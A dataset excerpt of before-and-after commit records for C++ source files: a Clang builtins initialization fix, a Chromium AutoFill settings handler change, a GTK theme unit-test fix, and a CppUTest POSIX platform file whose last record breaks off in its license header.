{"text":"<commit_before>\/\/===--- Builtins.cpp - Builtin function implementation -------------------===\/\/\n\/\/\n\/\/                     The LLVM Compiler Infrastructure\n\/\/\n\/\/ This file is distributed under the University of Illinois Open Source\n\/\/ License. See LICENSE.TXT for details.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\/\/\n\/\/  This file implements various things for builtin functions.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\n#include \"clang\/Basic\/Builtins.h\"\n#include \"clang\/Basic\/IdentifierTable.h\"\n#include \"clang\/Basic\/TargetInfo.h\"\nusing namespace clang;\n\nstatic const Builtin::Info BuiltinInfo[] = {\n  { \"not a builtin function\", 0, 0, 0, false },\n#define BUILTIN(ID, TYPE, ATTRS) { #ID, TYPE, ATTRS, 0, false },\n#define LIBBUILTIN(ID, TYPE, ATTRS, HEADER) { #ID, TYPE, ATTRS, HEADER, false },\n#include \"clang\/Basic\/Builtins.def\"\n};\n\nconst Builtin::Info &Builtin::Context::GetRecord(unsigned ID) const {\n  if (ID < Builtin::FirstTSBuiltin)\n    return BuiltinInfo[ID];\n  assert(ID - Builtin::FirstTSBuiltin < NumTSRecords && \"Invalid builtin ID!\");\n  return TSRecords[ID - Builtin::FirstTSBuiltin];\n}\n\nBuiltin::Context::Context(const TargetInfo &Target) {\n  \/\/ Get the target specific builtins from the target.\n  Target.getTargetBuiltins(TSRecords, NumTSRecords);  \n}\n\n\/\/\/ InitializeBuiltins - Mark the identifiers for all the builtins with their\n\/\/\/ appropriate builtin ID # and mark any non-portable builtin identifiers as\n\/\/\/ such.\nvoid Builtin::Context::InitializeBuiltins(IdentifierTable &Table,\n                                          bool NoBuiltins) {\n  \/\/ Step #1: mark all target-independent builtins with their ID's.\n  for (unsigned i = Builtin::NotBuiltin+1; i != Builtin::FirstTSBuiltin; ++i)\n    if (!BuiltinInfo[i].Suppressed &&\n        (!NoBuiltins || !strchr(BuiltinInfo[i].Attributes, 'f')))\n      Table.get(BuiltinInfo[i].Name).setBuiltinID(i);\n\n  \/\/ Step #2: Register target-specific builtins.\n  for (unsigned i = 0, e = NumTSRecords; i != e; ++i)\n    if (!TSRecords[i].Suppressed &&\n        (!NoBuiltins || \n         (TSRecords[i].Attributes && \n          !strchr(TSRecords[i].Attributes, 'f'))))\n      Table.get(TSRecords[i].Name).setBuiltinID(i+Builtin::FirstTSBuiltin);\n}\n\nvoid \nBuiltin::Context::GetBuiltinNames(llvm::SmallVectorImpl<const char *> &Names,\n                                  bool NoBuiltins) {\n  \/\/ Final all target-independent names\n  for (unsigned i = Builtin::NotBuiltin+1; i != Builtin::FirstTSBuiltin; ++i)\n    if (!BuiltinInfo[i].Suppressed &&\n        (!NoBuiltins || !strchr(BuiltinInfo[i].Attributes, 'f')))\n      Names.push_back(BuiltinInfo[i].Name);\n  \n  \/\/ Find target-specific names.\n  for (unsigned i = 0, e = NumTSRecords; i != e; ++i)\n    if (!TSRecords[i].Suppressed &&\n        (!NoBuiltins || \n         (TSRecords[i].Attributes && \n          !strchr(TSRecords[i].Attributes, 'f'))))\n      Names.push_back(TSRecords[i].Name);\n}\n\nbool \nBuiltin::Context::isPrintfLike(unsigned ID, unsigned &FormatIdx, \n                               bool &HasVAListArg) {\n  const char *Printf = strpbrk(GetRecord(ID).Attributes, \"pP\");\n  if (!Printf)\n    return false;\n\n  HasVAListArg = (*Printf == 'P');\n\n  ++Printf;\n  assert(*Printf == ':' && \"p or P specifier must have be followed by a ':'\");\n  ++Printf;\n\n  assert(strchr(Printf, ':') && \"printf specifier must end with a ':'\");\n  FormatIdx = strtol(Printf, 0, 10);\n  return true;\n}\n\n<commit_msg>follow-on to my patch: some targets (like sparc) do not have target-specific builtins, and do not set the count. Just default to 0 for these targets.<commit_after>\/\/===--- Builtins.cpp - Builtin function implementation -------------------===\/\/\n\/\/\n\/\/                     The LLVM Compiler Infrastructure\n\/\/\n\/\/ This file is distributed under the University of Illinois Open Source\n\/\/ License. See LICENSE.TXT for details.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\/\/\n\/\/  This file implements various things for builtin functions.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\n#include \"clang\/Basic\/Builtins.h\"\n#include \"clang\/Basic\/IdentifierTable.h\"\n#include \"clang\/Basic\/TargetInfo.h\"\nusing namespace clang;\n\nstatic const Builtin::Info BuiltinInfo[] = {\n  { \"not a builtin function\", 0, 0, 0, false },\n#define BUILTIN(ID, TYPE, ATTRS) { #ID, TYPE, ATTRS, 0, false },\n#define LIBBUILTIN(ID, TYPE, ATTRS, HEADER) { #ID, TYPE, ATTRS, HEADER, false },\n#include \"clang\/Basic\/Builtins.def\"\n};\n\nconst Builtin::Info &Builtin::Context::GetRecord(unsigned ID) const {\n  if (ID < Builtin::FirstTSBuiltin)\n    return BuiltinInfo[ID];\n  assert(ID - Builtin::FirstTSBuiltin < NumTSRecords && \"Invalid builtin ID!\");\n  return TSRecords[ID - Builtin::FirstTSBuiltin];\n}\n\nBuiltin::Context::Context(const TargetInfo &Target) {\n  \/\/ Get the target specific builtins from the target.\n  TSRecords = 0;\n  NumTSRecords = 0;\n  Target.getTargetBuiltins(TSRecords, NumTSRecords);  \n}\n\n\/\/\/ InitializeBuiltins - Mark the identifiers for all the builtins with their\n\/\/\/ appropriate builtin ID # and mark any non-portable builtin identifiers as\n\/\/\/ such.\nvoid Builtin::Context::InitializeBuiltins(IdentifierTable &Table,\n                                          bool NoBuiltins) {\n  \/\/ Step #1: mark all target-independent builtins with their ID's.\n  for (unsigned i = Builtin::NotBuiltin+1; i != Builtin::FirstTSBuiltin; ++i)\n    if (!BuiltinInfo[i].Suppressed &&\n        (!NoBuiltins || !strchr(BuiltinInfo[i].Attributes, 'f')))\n      Table.get(BuiltinInfo[i].Name).setBuiltinID(i);\n\n  \/\/ Step #2: Register target-specific builtins.\n  for (unsigned i = 0, e = NumTSRecords; i != e; ++i)\n    if (!TSRecords[i].Suppressed &&\n        (!NoBuiltins || \n         (TSRecords[i].Attributes && \n          !strchr(TSRecords[i].Attributes, 'f'))))\n      Table.get(TSRecords[i].Name).setBuiltinID(i+Builtin::FirstTSBuiltin);\n}\n\nvoid \nBuiltin::Context::GetBuiltinNames(llvm::SmallVectorImpl<const char *> &Names,\n                                  bool NoBuiltins) {\n  \/\/ Final all target-independent names\n  for (unsigned i = Builtin::NotBuiltin+1; i != Builtin::FirstTSBuiltin; ++i)\n    if (!BuiltinInfo[i].Suppressed &&\n        (!NoBuiltins || !strchr(BuiltinInfo[i].Attributes, 'f')))\n      Names.push_back(BuiltinInfo[i].Name);\n  \n  \/\/ Find target-specific names.\n  for (unsigned i = 0, e = NumTSRecords; i != e; ++i)\n    if (!TSRecords[i].Suppressed &&\n        (!NoBuiltins || \n         (TSRecords[i].Attributes && \n          !strchr(TSRecords[i].Attributes, 'f'))))\n      Names.push_back(TSRecords[i].Name);\n}\n\nbool \nBuiltin::Context::isPrintfLike(unsigned ID, unsigned &FormatIdx, \n                               bool &HasVAListArg) {\n  const char *Printf = strpbrk(GetRecord(ID).Attributes, \"pP\");\n  if (!Printf)\n    return false;\n\n  HasVAListArg = (*Printf == 'P');\n\n  ++Printf;\n  assert(*Printf == ':' && \"p or P specifier must have be followed by a ':'\");\n  ++Printf;\n\n  assert(strchr(Printf, ':') && \"printf specifier must end with a ':'\");\n  FormatIdx = strtol(Printf, 0, 10);\n  return true;\n}\n\n<|endoftext|>"}
{"text":"<commit_before>\/\/ Copyright (c) 2010 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#include \"chrome\/browser\/dom_ui\/autofill_options_handler.h\"\n\n#include <vector>\n\n#include \"app\/l10n_util.h\"\n#include \"base\/logging.h\"\n#include \"base\/values.h\"\n#include \"chrome\/browser\/autofill\/autofill_profile.h\"\n#include \"chrome\/browser\/autofill\/credit_card.h\"\n#include \"chrome\/browser\/profile.h\"\n#include \"grit\/generated_resources.h\"\n\nAutoFillOptionsHandler::AutoFillOptionsHandler()\n    : personal_data_(NULL) {\n}\n\nAutoFillOptionsHandler::~AutoFillOptionsHandler() {\n  if (personal_data_)\n    personal_data_->RemoveObserver(this);\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/ OptionsUIHandler implementation:\nvoid AutoFillOptionsHandler::GetLocalizedValues(\n    DictionaryValue* localized_strings) {\n  DCHECK(localized_strings);\n\n  localized_strings->SetString(\"autoFillOptionsTitle\",\n      l10n_util::GetStringUTF16(IDS_AUTOFILL_OPTIONS_TITLE));\n  localized_strings->SetString(\"autoFillEnabled\",\n      l10n_util::GetStringUTF16(IDS_OPTIONS_AUTOFILL_ENABLE));\n  localized_strings->SetString(\"addressesHeader\",\n      l10n_util::GetStringUTF16(IDS_AUTOFILL_ADDRESSES_GROUP_NAME));\n  localized_strings->SetString(\"creditCardsHeader\",\n      l10n_util::GetStringUTF16(IDS_AUTOFILL_CREDITCARDS_GROUP_NAME));\n  localized_strings->SetString(\"addAddressButton\",\n      l10n_util::GetStringUTF16(IDS_AUTOFILL_ADD_ADDRESS_BUTTON));\n  localized_strings->SetString(\"addCreditCardButton\",\n      l10n_util::GetStringUTF16(IDS_AUTOFILL_ADD_CREDITCARD_BUTTON));\n  localized_strings->SetString(\"editButton\",\n      l10n_util::GetStringUTF16(IDS_AUTOFILL_EDIT_BUTTON));\n  localized_strings->SetString(\"deleteButton\",\n      l10n_util::GetStringUTF16(IDS_AUTOFILL_DELETE_BUTTON));\n  localized_strings->SetString(\"helpButton\",\n      l10n_util::GetStringUTF16(IDS_AUTOFILL_HELP_LABEL));\n}\n\nvoid AutoFillOptionsHandler::Initialize() {\n  personal_data_ = dom_ui_->GetProfile()->GetPersonalDataManager();\n  personal_data_->SetObserver(this);\n\n  LoadAutoFillData();\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/ PersonalDataManager::Observer implementation:\nvoid  AutoFillOptionsHandler::OnPersonalDataLoaded() {\n  LoadAutoFillData();\n}\n\nvoid AutoFillOptionsHandler::OnPersonalDataChanged() {\n  LoadAutoFillData();\n}\n\nvoid AutoFillOptionsHandler::RegisterMessages() {\n}\n\nvoid AutoFillOptionsHandler::LoadAutoFillData() {\n  if (!personal_data_->IsDataLoaded())\n    return;\n\n  ListValue addresses;\n  for (std::vector<AutoFillProfile*>::const_iterator i =\n           personal_data_->profiles().begin();\n       i != personal_data_->profiles().end(); ++i) {\n    DictionaryValue* address = new DictionaryValue();\n    address->SetString(\"label\", (*i)->PreviewSummary());\n    addresses.Append(address);\n  }\n\n  dom_ui_->CallJavascriptFunction(L\"AutoFillOptions.updateAddresses\",\n                                  addresses);\n\n  ListValue credit_cards;\n  for (std::vector<CreditCard*>::const_iterator i =\n           personal_data_->credit_cards().begin();\n       i != personal_data_->credit_cards().end(); ++i) {\n    DictionaryValue* credit_card = new DictionaryValue();\n    credit_card->SetString(\"label\", (*i)->PreviewSummary());\n    credit_cards.Append(credit_card);\n  }\n\n  dom_ui_->CallJavascriptFunction(L\"AutoFillOptions.updateCreditCards\",\n                                  credit_cards);\n}\n<commit_msg>DOMUI: Use the OriginalProfile() to load the PersonalDataManager for AutoFill settings.<commit_after>\/\/ Copyright (c) 2010 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#include \"chrome\/browser\/dom_ui\/autofill_options_handler.h\"\n\n#include <vector>\n\n#include \"app\/l10n_util.h\"\n#include \"base\/logging.h\"\n#include \"base\/values.h\"\n#include \"chrome\/browser\/autofill\/autofill_profile.h\"\n#include \"chrome\/browser\/autofill\/credit_card.h\"\n#include \"chrome\/browser\/profile.h\"\n#include \"grit\/generated_resources.h\"\n\nAutoFillOptionsHandler::AutoFillOptionsHandler()\n    : personal_data_(NULL) {\n}\n\nAutoFillOptionsHandler::~AutoFillOptionsHandler() {\n  if (personal_data_)\n    personal_data_->RemoveObserver(this);\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/ OptionsUIHandler implementation:\nvoid AutoFillOptionsHandler::GetLocalizedValues(\n    DictionaryValue* localized_strings) {\n  DCHECK(localized_strings);\n\n  localized_strings->SetString(\"autoFillOptionsTitle\",\n      l10n_util::GetStringUTF16(IDS_AUTOFILL_OPTIONS_TITLE));\n  localized_strings->SetString(\"autoFillEnabled\",\n      l10n_util::GetStringUTF16(IDS_OPTIONS_AUTOFILL_ENABLE));\n  localized_strings->SetString(\"addressesHeader\",\n      l10n_util::GetStringUTF16(IDS_AUTOFILL_ADDRESSES_GROUP_NAME));\n  localized_strings->SetString(\"creditCardsHeader\",\n      l10n_util::GetStringUTF16(IDS_AUTOFILL_CREDITCARDS_GROUP_NAME));\n  localized_strings->SetString(\"addAddressButton\",\n      l10n_util::GetStringUTF16(IDS_AUTOFILL_ADD_ADDRESS_BUTTON));\n  localized_strings->SetString(\"addCreditCardButton\",\n      l10n_util::GetStringUTF16(IDS_AUTOFILL_ADD_CREDITCARD_BUTTON));\n  localized_strings->SetString(\"editButton\",\n      l10n_util::GetStringUTF16(IDS_AUTOFILL_EDIT_BUTTON));\n  localized_strings->SetString(\"deleteButton\",\n      l10n_util::GetStringUTF16(IDS_AUTOFILL_DELETE_BUTTON));\n  localized_strings->SetString(\"helpButton\",\n      l10n_util::GetStringUTF16(IDS_AUTOFILL_HELP_LABEL));\n}\n\nvoid AutoFillOptionsHandler::Initialize() {\n  personal_data_ =\n      dom_ui_->GetProfile()->GetOriginalProfile()->GetPersonalDataManager();\n  personal_data_->SetObserver(this);\n\n  LoadAutoFillData();\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/ PersonalDataManager::Observer implementation:\nvoid  AutoFillOptionsHandler::OnPersonalDataLoaded() {\n  LoadAutoFillData();\n}\n\nvoid AutoFillOptionsHandler::OnPersonalDataChanged() {\n  LoadAutoFillData();\n}\n\nvoid AutoFillOptionsHandler::RegisterMessages() {\n}\n\nvoid AutoFillOptionsHandler::LoadAutoFillData() {\n  if (!personal_data_->IsDataLoaded())\n    return;\n\n  ListValue addresses;\n  for (std::vector<AutoFillProfile*>::const_iterator i =\n           personal_data_->profiles().begin();\n       i != personal_data_->profiles().end(); ++i) {\n    DictionaryValue* address = new DictionaryValue();\n    address->SetString(\"label\", (*i)->PreviewSummary());\n    addresses.Append(address);\n  }\n\n  dom_ui_->CallJavascriptFunction(L\"AutoFillOptions.updateAddresses\",\n                                  addresses);\n\n  ListValue credit_cards;\n  for (std::vector<CreditCard*>::const_iterator i =\n           personal_data_->credit_cards().begin();\n       i != personal_data_->credit_cards().end(); ++i) {\n    DictionaryValue* credit_card = new DictionaryValue();\n    credit_card->SetString(\"label\", (*i)->PreviewSummary());\n    credit_cards.Append(credit_card);\n  }\n\n  dom_ui_->CallJavascriptFunction(L\"AutoFillOptions.updateCreditCards\",\n                                  credit_cards);\n}\n<|endoftext|>"}
{"text":"<commit_before>\/\/ Copyright (c) 2009 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#include <gtk\/gtk.h>\n\n#include \"chrome\/browser\/gtk\/gtk_theme_provider.h\"\n#include \"chrome\/browser\/profile.h\"\n#include \"chrome\/common\/pref_names.h\"\n#include \"chrome\/test\/testing_profile.h\"\n#include \"grit\/theme_resources.h\"\n#include \"testing\/gtest\/include\/gtest\/gtest.h\"\n\nnamespace {\n\n\/\/ Converts a GdkColor to a SkColor.\nSkColor GdkToSkColor(GdkColor* color) {\n  return SkColorSetRGB(color->red >> 8,\n                       color->green >> 8,\n                       color->blue >> 8);\n}\n\n}  \/\/ namespace\n\nclass GtkThemeProviderTest : public testing::Test {\n public:\n  GtkThemeProviderTest() : provider_(NULL) {}\n\n  void SetUseGtkTheme(bool use_gtk_theme) {\n    profile_.GetPrefs()->SetBoolean(prefs::kUsesSystemTheme, use_gtk_theme);\n  }\n\n  void BuildProvider() {\n    profile_.InitThemes();\n    provider_ = GtkThemeProvider::GetFrom(&profile_);\n  }\n\n protected:\n  TestingProfile profile_;\n\n  GtkThemeProvider* provider_;\n};\n\nTEST_F(GtkThemeProviderTest, DefaultValues) {\n  SetUseGtkTheme(false);\n  BuildProvider();\n\n  \/\/ Test that we get the default theme colors back when in normal mode.\n  for (int i = BrowserThemeProvider::COLOR_FRAME;\n       i <= BrowserThemeProvider::COLOR_BUTTON_BACKGROUND; ++i) {\n    EXPECT_EQ(provider_->GetColor(i), BrowserThemeProvider::GetDefaultColor(i))\n        << \"Wrong default color for \" << i;\n  }\n}\n\nTEST_F(GtkThemeProviderTest, UsingGtkValues) {\n  SetUseGtkTheme(true);\n  BuildProvider();\n\n  \/\/ This test only verifies that we're using GTK values. Because of Gtk's\n  \/\/ large, implied global state, it would take some IN_PROCESS_BROWSER_TESTS\n  \/\/ to write an equivalent of DefaultValues above in a way that wouldn't make\n  \/\/ other tests flaky. kColorTabText is the only simple path where there's no\n  \/\/ weird calculations for edge cases so use that as a simple test.\n  GtkWidget* fake_label = provider_->fake_label();\n  GtkStyle* label_style = gtk_rc_get_style(fake_label);\n  GdkColor label_color = label_style->text[GTK_STATE_NORMAL];\n  EXPECT_EQ(provider_->GetColor(BrowserThemeProvider::COLOR_TAB_TEXT),\n            GdkToSkColor(&label_color));\n}\n<commit_msg>Fix GtkThemeProviderTest.UsingGtkValues unittest<commit_after>\/\/ Copyright (c) 2009 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#include <gtk\/gtk.h>\n\n#include \"chrome\/browser\/gtk\/gtk_theme_provider.h\"\n#include \"chrome\/browser\/profile.h\"\n#include \"chrome\/common\/pref_names.h\"\n#include \"chrome\/test\/testing_profile.h\"\n#include \"grit\/theme_resources.h\"\n#include \"testing\/gtest\/include\/gtest\/gtest.h\"\n\nnamespace {\n\n\/\/ Converts a GdkColor to a SkColor.\nSkColor GdkToSkColor(GdkColor* color) {\n  return SkColorSetRGB(color->red >> 8,\n                       color->green >> 8,\n                       color->blue >> 8);\n}\n\n}  \/\/ namespace\n\nclass GtkThemeProviderTest : public testing::Test {\n public:\n  GtkThemeProviderTest() : provider_(NULL) {}\n\n  void SetUseGtkTheme(bool use_gtk_theme) {\n    profile_.GetPrefs()->SetBoolean(prefs::kUsesSystemTheme, use_gtk_theme);\n  }\n\n  void BuildProvider() {\n    profile_.InitThemes();\n    provider_ = GtkThemeProvider::GetFrom(&profile_);\n  }\n\n protected:\n  TestingProfile profile_;\n\n  GtkThemeProvider* provider_;\n};\n\nTEST_F(GtkThemeProviderTest, DefaultValues) {\n  SetUseGtkTheme(false);\n  BuildProvider();\n\n  \/\/ Test that we get the default theme colors back when in normal mode.\n  for (int i = BrowserThemeProvider::COLOR_FRAME;\n       i <= BrowserThemeProvider::COLOR_BUTTON_BACKGROUND; ++i) {\n    EXPECT_EQ(provider_->GetColor(i), BrowserThemeProvider::GetDefaultColor(i))\n        << \"Wrong default color for \" << i;\n  }\n}\n\nTEST_F(GtkThemeProviderTest, UsingGtkValues) {\n  SetUseGtkTheme(true);\n  BuildProvider();\n\n  \/\/ This test only verifies that we're using GTK values. Because of Gtk's\n  \/\/ large, implied global state, it would take some IN_PROCESS_BROWSER_TESTS\n  \/\/ to write an equivalent of DefaultValues above in a way that wouldn't make\n  \/\/ other tests flaky. kColorTabText is the only simple path where there's no\n  \/\/ weird calculations for edge cases so use that as a simple test.\n  GtkWidget* fake_label = provider_->fake_label();\n  GtkStyle* label_style = gtk_rc_get_style(fake_label);\n  GdkColor label_color = label_style->fg[GTK_STATE_NORMAL];\n  EXPECT_EQ(provider_->GetColor(BrowserThemeProvider::COLOR_TAB_TEXT),\n            GdkToSkColor(&label_color));\n}\n<|endoftext|>"}
{"text":"<commit_before>\/*\r\n * Copyright (c) 2007, Michael Feathers, James Grenning and Bas Vodde\r\n * All rights reserved.\r\n *\r\n * Redistribution and use in source and binary forms, with or without\r\n * modification, are permitted provided that the following conditions are met:\r\n *     * Redistributions of source code must retain the above copyright\r\n *       notice, this list of conditions and the following disclaimer.\r\n *     * Redistributions in binary form must reproduce the above copyright\r\n *       notice, this list of conditions and the following disclaimer in the\r\n *       documentation and\/or other materials provided with the distribution.\r\n *     * Neither the name of the <organization> nor the\r\n *       names of its contributors may be used to endorse or promote products\r\n *       derived from this software without specific prior written permission.\r\n *\r\n * THIS SOFTWARE IS PROVIDED BY THE EARLIER MENTIONED AUTHORS ``AS IS'' AND ANY\r\n * EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED\r\n * WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE\r\n * DISCLAIMED. IN NO EVENT SHALL <copyright holder> BE LIABLE FOR ANY\r\n * DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES\r\n * (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;\r\n * LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND\r\n * ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT\r\n * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS\r\n * SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\r\n *\/\r\n\r\n#include <stdlib.h>\r\n#include \"CppUTest\/TestHarness.h\"\r\n#undef malloc\r\n#undef free\r\n#undef calloc\r\n#undef realloc\r\n\r\n#include \"CppUTest\/TestRegistry.h\"\r\n#include <sys\/time.h>\r\n#include <time.h>\r\n#include <stdio.h>\r\n#include <stdarg.h>\r\n#include <setjmp.h>\r\n#include <string.h>\r\n#include <math.h>\r\n#include <ctype.h>\r\n#include <unistd.h>\r\n#include <sys\/wait.h>\r\n\r\n#include \"CppUTest\/PlatformSpecificFunctions.h\"\r\n\r\nstatic jmp_buf test_exit_jmp_buf[10];\r\nstatic int jmp_buf_index = 0;\r\n\r\nbool Utest::executePlatformSpecificSetup()\r\n{\r\n   if (0 == setjmp(test_exit_jmp_buf[jmp_buf_index])) {\r\n      jmp_buf_index++;\r\n      setup();\r\n      jmp_buf_index--;\r\n      return true;\r\n   }\r\n   return false;\r\n}\r\n\r\nvoid Utest::executePlatformSpecificTestBody()\r\n{\r\n   if (0 == setjmp(test_exit_jmp_buf[jmp_buf_index])) {\r\n      jmp_buf_index++;\r\n      testBody();\r\n      jmp_buf_index--;\r\n   }\r\n}\r\n\r\nvoid Utest::executePlatformSpecificTeardown()\r\n{\r\n   if (0 == setjmp(test_exit_jmp_buf[jmp_buf_index])) {\r\n      jmp_buf_index++;\r\n      teardown();\r\n      jmp_buf_index--;\r\n   }\r\n}\r\n\r\nvoid Utest::executePlatformSpecificRunOneTest(TestPlugin* plugin, TestResult& result)\r\n{\r\n    if (0 == setjmp(test_exit_jmp_buf[jmp_buf_index])) {\r\n       jmp_buf_index++;\r\n\r\n       int info;\r\n       pid_t pid = (isRunInSeperateProcess()) ? fork() : 0;\r\n\r\n       if (pid) {\r\n    \t   wait(&info);\r\n    \t   if (WIFEXITED(info) && WEXITSTATUS(info) > result.getFailureCount())\r\n    \t\t   result.addFailure(TestFailure(this, \"failed in seperate process\"));\r\n       }\r\n       else {\r\n\t\t    runOneTest(plugin, result);\r\n\t\t    if (isRunInSeperateProcess()) exit(result.getFailureCount() );\r\n\t\t}\r\n\r\n       jmp_buf_index--;\r\n    }\r\n}\r\n\r\nvoid Utest::executePlatformSpecificExitCurrentTest()\r\n{\r\n   jmp_buf_index--;\r\n   longjmp(test_exit_jmp_buf[jmp_buf_index], 1);\r\n}\r\n\r\nTestOutput::WorkingEnvironment PlatformSpecificGetWorkingEnvironment()\r\n{\r\n\treturn TestOutput::eclipse;\r\n}\r\n\r\n\/\/\/\/\/\/\/\/\/\/\/\/\/ Time in millis\r\n\r\nstatic long TimeInMillisImplementation()\r\n{\r\n\tstruct timeval tv;\r\n\tstruct timezone tz;\r\n\tgettimeofday(&tv, &tz);\r\n\treturn (tv.tv_sec * 1000) + (long)((double)tv.tv_usec * 0.001);\r\n}\r\n\r\nstatic long (*timeInMillisFp) () = TimeInMillisImplementation;\r\n\r\nlong GetPlatformSpecificTimeInMillis()\r\n{\r\n\treturn timeInMillisFp();\r\n}\r\n\r\nvoid SetPlatformSpecificTimeInMillisMethod(long (*platformSpecific) ())\r\n{\r\n\ttimeInMillisFp = (platformSpecific == 0) ? TimeInMillisImplementation : platformSpecific;\r\n}\r\n\r\n\/\/\/\/\/\/\/\/\/\/\/\/\/ Time in String\r\n\r\nstatic const char* TimeStringImplementation()\r\n{\r\n\ttime_t tm = time(NULL);\r\n\treturn ctime(&tm);\r\n}\r\n\r\nstatic const char* (*timeStringFp) () = TimeStringImplementation;\r\n\r\nconst char* GetPlatformSpecificTimeString()\r\n{\r\n\treturn timeStringFp();\r\n}\r\n\r\nvoid SetPlatformSpecificTimeStringMethod(const char* (*platformMethod) ())\r\n{\r\n\ttimeStringFp = (platformMethod == 0) ? TimeStringImplementation : platformMethod;\r\n}\r\n\r\nint PlatformSpecificAtoI(const char*str)\r\n{\r\n   return atoi(str);\r\n}\r\n\r\nsize_t PlatformSpecificStrLen(const char* str)\r\n{\r\n   return strlen(str);\r\n}\r\n\r\nchar* PlatformSpecificStrCat(char* s1, const char* s2)\r\n{\r\n   return strcat(s1, s2);\r\n}\r\n\r\nchar* PlatformSpecificStrCpy(char* s1, const char* s2)\r\n{\r\n   return strcpy(s1, s2);\r\n}\r\n\r\nchar* PlatformSpecificStrNCpy(char* s1, const char* s2, size_t size)\r\n{\r\n   return strncpy(s1, s2, size);\r\n}\r\n\r\nint PlatformSpecificStrCmp(const char* s1, const char* s2)\r\n{\r\n   return strcmp(s1, s2);\r\n}\r\n\r\nint PlatformSpecificStrNCmp(const char* s1, const char* s2, size_t size)\r\n{\r\n   return strncmp(s1, s2, size);\r\n}\r\nchar* PlatformSpecificStrStr(const char* s1, const char* s2)\r\n{\r\n   return (char*) strstr(s1, s2);\r\n}\r\n\r\nint PlatformSpecificVSNprintf(char *str, unsigned int size, const char* format, va_list args)\r\n{\r\n   return vsnprintf( str, size, format, args);\r\n}\r\n\r\nchar PlatformSpecificToLower(char c)\r\n{\r\n\treturn (char) tolower((char) c);\r\n}\r\n\r\nPlatformSpecificFile PlatformSpecificFOpen(const char* filename, const char* flag)\r\n{\r\n   return fopen(filename, flag);\r\n}\r\n\r\n\r\nvoid PlatformSpecificFPuts(const char* str, PlatformSpecificFile file)\r\n{\r\n   fputs(str, (FILE*)file);\r\n}\r\n\r\nvoid PlatformSpecificFClose(PlatformSpecificFile file)\r\n{\r\n   fclose((FILE*)file);\r\n}\r\n\r\nvoid PlatformSpecificFlush()\r\n{\r\n  fflush(stdout);\r\n}\r\n\r\nint PlatformSpecificPutchar(int c)\r\n{\r\n  return putchar(c);\r\n}\r\n\r\nvoid* PlatformSpecificMalloc(size_t size)\r\n{\r\n   return malloc(size);\r\n}\r\n\r\nvoid* PlatformSpecificRealloc (void* memory, size_t size)\r\n{\r\n   return realloc(memory, size);\r\n}\r\n\r\nvoid PlatformSpecificFree(void* memory)\r\n{\r\n   free(memory);\r\n}\r\n\r\nvoid* PlatformSpecificMemCpy(void* s1, const void* s2, size_t size)\r\n{\r\n   return memcpy(s1, s2, size);\r\n}\r\n\r\nvoid* PlatformSpecificMemset(void* mem, int c, size_t size)\r\n{\r\n\treturn memset(mem, c, size);\r\n}\r\n\r\n\r\ndouble PlatformSpecificFabs(double d)\r\n{\r\n   return fabs(d);\r\n}\r\n\r\nint PlatformSpecificIsNan(double d)\r\n{\r\n\treturn isnan((float)d);\r\n}\r\n<commit_msg><commit_after>\/*\r\n * Copyright (c) 2007, Michael Feathers, James Grenning and Bas Vodde\r\n * All rights reserved.\r\n *\r\n * Redistribution and use in source and binary forms, with or without\r\n * modification, are permitted provided that the following conditions are met:\r\n *     * Redistributions of source code must retain the above copyright\r\n *       notice, this list of conditions and the following disclaimer.\r\n *     * Redistributions in binary form must reproduce the above copyright\r\n *       notice, this list of conditions and the following disclaimer in the\r\n *       documentation and\/or other materials provided with the distribution.\r\n *     * Neither the name of the <organization> nor the\r\n *       names of its contributors may be used to endorse or promote products\r\n *       derived from this software without specific prior written permission.\r\n *\r\n * THIS SOFTWARE IS PROVIDED BY THE EARLIER MENTIONED AUTHORS ``AS IS'' AND ANY\r\n * EXPRESS OR IMPLIED 